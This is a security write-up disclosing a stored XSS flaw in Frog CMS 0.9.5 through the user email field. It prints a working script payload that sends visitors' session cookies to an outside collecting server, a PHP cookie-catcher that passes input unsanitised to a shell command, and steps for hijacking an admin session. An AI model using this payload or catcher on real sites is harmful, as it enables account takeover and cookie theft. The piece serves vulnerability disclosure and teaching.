Weaponizing a XSS vulnerability.



During a recent Hack Night, we tested some Content Management Systems and found a XSS vulnerability OWASP A2 in Frog CMS 0.9.5.

This allowed a non admin user of the CMS to exfiltrate other users’ or admin’s session cookies for possible session hijacking.

Simulating a normal use case of the system, we started off with making a default user account X. X can set a name and an email field in the user account settings page. Although the name and email fields are limited to 100 and 255 chars (respectively) with a server side check, and although the parameters are enclosed in quotes, there is no further checking done to the input. In either of these fields it is possible to add code to be executed. For example entering this:

<b>Test</b>

into the name field would have the result of the page displaying Test whenever the userinfo for X was displayed.

Because of that, we decided to craft this payload:

" /><script>var s = document.createElement('img'); s.src = "http://our.webserver/tools/CookieCatcher/Catch.php?C=" + document.cookie; document.appendChild(s);</script>

and enter it into the email field. Note the leading “ /> which is used to prematurely close off the open quote in the email field and thus put our payload into the part of the webpage that the browser will run.

The payload creates an image tag, and attaches our query string to that tag. The document.cookie is concatenated onto the image source URL. The last line of the payload attaches the image back to the main document.

Thus any user, including the admin, when pulling up the Users page, will pull up a table consisting of user email addresses. Our payload will be present in it, and their session cookie will be sent to our webserver script.

Our webserver runs a simple php script that takes an input parameter and prints it out to a file that the webserver can write to:

$ cat Catch.php  
<?php  

	$cookie=$_GET['C'];  

	passthru('echo "'.$cookie.'" >> CookieJar.txt');  

	exit();  

?>

Now whenever a user U browses to the userinfo for X, U’s document.cookie will be captured in CookieJar.txt.

Finally, we can use the captured cookie in burpsuite to hijack an existing session (such as admin’s) by replacing the cookie in our session with the captured one.

Another discovery we found is that the session cookies for each user are reused until the user deletes the cookie from their browser cache. Thus, once a cookie is captured, it can be reused by the attacker over and over independent of any actual logins by the legitimate user. OWASP A3.

Thanks very much to HockeyInJune for the payload, script and the security theory.